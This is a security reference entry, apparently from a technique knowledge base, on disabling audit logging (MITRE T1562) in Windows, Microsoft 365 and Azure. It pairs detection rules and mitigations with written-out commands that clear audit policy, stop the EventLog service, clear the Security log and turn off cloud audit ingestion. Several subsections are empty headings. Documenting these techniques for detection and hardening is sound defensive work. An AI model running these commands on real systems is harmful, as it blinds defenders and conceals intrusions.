MCADDF

[MISCONFIG-009]: Disabled Audit Logging

Metadata

| Attribute | Details | |—|—| | Technique ID | MISCONFIG-009 | | MITRE ATT&CK v18.1 | T1562.002 – Disable Windows Event Logging / T1562.008 – Disable or Modify Cloud Logs | | Tactic | Defense Evasion | | Platforms | Multi-Env (Windows Server/Endpoint, Windows AD, Entra ID, Azure, Microsoft 365) | | Severity | Critical | | Technique Status | ACTIVE | | Last Verified | 2026-01-10 | | Affected Versions | All supported Windows client/server versions; Entra ID (all SKUs); Azure Subscriptions; Microsoft 365 tenants | | Patched In | N/A (configuration-based risk; mitigated by policy and hardening) | | Author | SERVTEPArtur Pchelnikau |


2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | CIS Controls v8 8.2 / 8.3 | Collect and centralize audit logs, protect logging configuration from unauthorized changes. | | DISA STIG | AU-0001 / AU-0002 (Win/AD STIG families) | Ensure audit policy is enabled and modification of audit configuration is restricted. | | CISA SCuBA | Logging Baseline LB-1, LB-2 | Require cloud and SaaS audit logging, prohibit disabling of mailbox and admin logs. | | NIST 800-53 | AU-2, AU-6, AU-9 | Event logging, audit review, and protection of audit information from modification. | | GDPR | Art. 5, 30, 32 | Accountability and security of processing; inability to trace access hinders breach notification and DPIA. | | DORA | Art. 9, 10 | ICT monitoring and logging controls for incident detection and reporting. | | NIS2 | Art. 21 | Technical and operational measures including logging and event monitoring. | | ISO 27001 | A.8.16, A.8.15 | Logging, monitoring, and protection of log information against tampering. | | ISO 27005 | Risk Scenario | Loss of logging leading to undetected compromise and incomplete forensic evidence.

3. TECHNICAL PREREQUISITES

Supported Versions:

4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance (Windows)

# Check high-level audit policy status on a Windows host
auditpol /get /category:* | Where-Object { $_ -match 'No Auditing' }

What to Look For:

Version Note: auditpol syntax is consistent from Server 2012 R2 onward; older systems may lack some subcategories.

Command (Server 2016–2019):

# Check if the EventLog service is disabled or stopped
Get-Service -Name EventLog | Select-Object Name,Status,StartType

Command (Server 2022+):

Get-Service -Name EventLog | Select-Object Name,Status,StartType

# Check for Autologger tampering (Security log)
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Security" |
  Select-Object Start, Enabled

Entra ID / M365 Logging Recon

# Check Microsoft 365 Unified Audit Log ingestion
Connect-ExchangeOnline
Get-AdminAuditLogConfig | Select-Object UnifiedAuditLogIngestionEnabled

# Entra ID sign-in & audit log export (Sentinel/Log Analytics)
Get-AzDiagnosticSetting -ResourceId "/providers/microsoft.aadiam/diagnosticSettings/azureaddiaglogs" 2>$null

What to Look For:

Azure / Log Analytics Recon (CLI)

# List diagnostic settings on a key resource (example: Key Vault)
az monitor diagnostic-settings list \
  --resource /subscriptions/<subId>/resourceGroups/<rg>/providers/Microsoft.KeyVault/vaults/<kv-name>

What to Look For:

5. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1 – Disable Windows Event Logging on Endpoint / Server

Supported Versions: Windows 10/11; Windows Server 2016–2025.

Step 1: Disable Key Audit Categories Using auditpol

Objective: Turn off auditing for sensitive categories (e.g. Logon, Account Logon, Policy Change) to reduce visibility.

Command (All supported versions):

# Disable auditing for Account Logon events (success and failure)
auditpol /set /category:"Account Logon" /success:disable /failure:disable

# Clear all audit policy (extreme case)
auditpol /clear /y

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Disable Windows EventLog Service and Channels

Objective: Stop or disable the Windows Event Log service and/or individual log channels.

Command (Service stop – all versions):

Stop-Service -Name EventLog -Force

# Or configure service not to start automatically
sc.exe config EventLog start= disabled

Command (Disable individual channels via wevtutil):

# Example: disable Microsoft-Windows-Security-Auditing channel
wevtutil sl Security /e:false

Expected Output:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

METHOD 2 – Disable Microsoft 365 Unified Audit Logging

Supported Versions: All Microsoft 365 tenants with Exchange Online.

Step 1: Turn Off Unified Audit Log Ingestion

Objective: Stop tenant-wide ingestion of user and admin events into the Unified Audit Log.

Command:

Connect-ExchangeOnline

# Disable Unified Audit Log ingestion
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $false

# Verify
Get-AdminAuditLogConfig | Format-List UnifiedAuditLogIngestionEnabled

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

METHOD 3 – Disable or Break Cloud Diagnostic and SIEM Connectors

Supported Versions: Entra ID, Azure subscriptions, Microsoft Sentinel, third-party SIEM.

Step 1: Remove or Modify Azure Diagnostic Settings

Objective: Prevent audit and sign-in logs from reaching Log Analytics, Event Hub, or external SIEM.

Command (Azure CLI):

# Remove diagnostic settings from Entra ID logs (example name)
az monitor diagnostic-settings delete \
  --name azureaddiaglogs \
  --resource /providers/microsoft.aadiam/diagnosticSettings/azureaddiaglogs

Command (PowerShell – disable logs but keep setting):

$rg = "<rg>"
$workspace = Get-AzOperationalInsightsWorkspace -ResourceGroupName $rg -Name "<lawName>"

# Recreate setting with metrics only, no logs
disable-azdiagnosticsetting -Name 'azureaddiaglogs' # pseudo-example; actual implementation uses New-AzDiagnosticSetting with logs disabled

Expected Output:

What This Means:

Step 2: Disable or Misconfigure Microsoft Sentinel Data Connectors

Objective: Break ingestion from M365 Defender, Entra, or other sources to Sentinel.

Outline (Portal):

  1. Azure Portal → Microsoft Sentinel → Workspace → Data connectors.
  2. Open a connector (for example: Microsoft 365 Defender, Azure AD).
  3. Turn off log types or disconnect the connector.

OpSec & Evasion:

References & Proofs:

6. ATTACK SIMULATION & VERIFICATION (Atomic Red Team)

Atomic Red Team

7. TOOLS & COMMANDS REFERENCE

auditpol.exe

Supported Platforms: Windows client and server.

Usage:

# View all categories
auditpol /get /category:*

# Disable logon auditing
auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable

wevtutil.exe

Usage:

# Disable a specific channel
wevtutil sl Security /e:false

# Clear a log
wevtutil cl Security

Set-AdminAuditLogConfig (Exchange Online)

Usage:

Connect-ExchangeOnline
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $false

Azure CLI Diagnostic Settings

az monitor diagnostic-settings list --resource <resource-id>
az monitor diagnostic-settings delete --name <setting-name> --resource <resource-id>

8. SPLUNK DETECTION RULES

Rule 1: Disable Event Logging via wevtutil

Rule Configuration:

SPL Query:

index=win* (sourcetype="*sysmon*" OR sourcetype="XmlWinEventLog:*")
| where process_name="wevtutil.exe" OR process="wevtutil.exe"
| search command_line="*sl*" command_line="*/e:false*" OR command_line="*cl security*"
| stats count values(command_line) by host, user, process_name, _time

What This Detects:

False Positive Analysis

9. MICROSOFT SENTINEL DETECTION

Query 1: Disable Windows Event Logs via wevtutil or auditpol

Rule Configuration:

KQL Query (MDE example):

DeviceProcessEvents
| where FileName in ("wevtutil.exe","auditpol.exe")
| where ProcessCommandLine has_any ("cl security", "/clear /y", "/set /category", " /e:false")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine

Manual Configuration Steps (Azure Portal):

  1. Azure Portal → Microsoft Sentinel → Workspace → Analytics.
  2. Create a new Scheduled query rule.
  3. Paste the KQL query, set frequency 5 minutes, lookback 1 hour.
  4. Set Severity to High and enable incident creation.

Query 2: Entra / Azure Diagnostic Settings Changed

KQL (CloudAppEvents via M365 Defender connector):

CloudAppEvents
| where Application == "Microsoft Azure"
| where ActivityObjects[1].Name contains "microsoft.aadiam/diagnosticSettings"
| where ActionType in ("Write DiagnosticSettings","Delete DiagnosticSettings")
| extend Status = tostring(ActivityObjects[4].Value)
| where Status == "Succeeded"
| project TimeGenerated, User=UserId, ActionType, ActivityObjects

What This Detects:

10. WINDOWS EVENT LOG MONITORING

Key Event IDs:

Manual Configuration Steps (Group Policy):

  1. Open gpmc.msc.
  2. Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration.
  3. Enable and configure:
    • Audit Policy Change.
    • Audit System Events.
    • Audit Logon/Logoff.
  4. Set to Success and Failure.
  5. Apply GPO and run gpupdate /force.

11. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+

Example Config Snippet (Registry change to disable channels):

<RuleGroup name="EventLog Tampering" groupRelation="or">
  <RegistryEvent onmatch="include">
    <TargetObject condition="contains">\Microsoft\Windows\CurrentVersion\WINEVT\Channels\</TargetObject>
    <TargetObject condition="ends with">\Enabled</TargetObject>
    <Details condition="is">DWORD (0x00000000)</Details>
  </RegistryEvent>
</RuleGroup>

12. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Manual Configuration Steps (Enable Defender for Cloud):

  1. Azure Portal → Microsoft Defender for Cloud → Environment settings.
  2. Enable Defender plans for Servers, SQL, and relevant PaaS services.
  3. Review Recommendations and enable policies for mandatory diagnostic settings.

13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Unified Audit Log Configuration Changes

Search-UnifiedAuditLog -Operations Set-AdminAuditLogConfig -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date)

Manual Steps:

  1. Purview → Audit → Search.
  2. Filter on Activities: Set-AdminAuditLogConfig.
  3. Filter on admin users and time range.

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Windows audit policy baseline present
auditpol /get /category:* | Where-Object { $_ -match 'No Auditing' }

# Unified Audit Log enabled
Get-AdminAuditLogConfig | Select-Object UnifiedAuditLogIngestionEnabled

15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    • Isolate suspected hosts from the network.
    • Lock down admin accounts that performed logging changes.
  2. Collect Evidence:
    • Export remaining Windows event logs (wevtutil epl) and EDR telemetry.
    • Export Entra, Azure Activity, and M365 audit logs from any external SIEM or archive.
  3. Remediate:
    • Reapply hardened logging baselines (GPO, Sysmon, diagnostic settings templates).
    • Rotate credentials and revoke privileged sessions.
Step Phase Technique Description
1 Initial Access Phishing, Valid Accounts Adversary obtains privileged credentials.
2 Privilege Escalation Token abuse, misconfig Attacker escalates to DA / Global Admin / Subscription Owner.
3 Current Step MISCONFIG-009 – Disabled Audit Logging Logging is disabled or broken to create a blind spot.
4 Persistence & Lateral Movement Credential theft, AD/Entra abuse Attacker moves laterally with low chance of detection.
5 Impact Data exfiltration, ransomware Data theft or destructive actions execute with limited forensic trace.

17. REAL-WORLD EXAMPLES

Example 1: APT Activity in Microsoft 365

Example 2: Ransomware Group Disables Windows Event Logs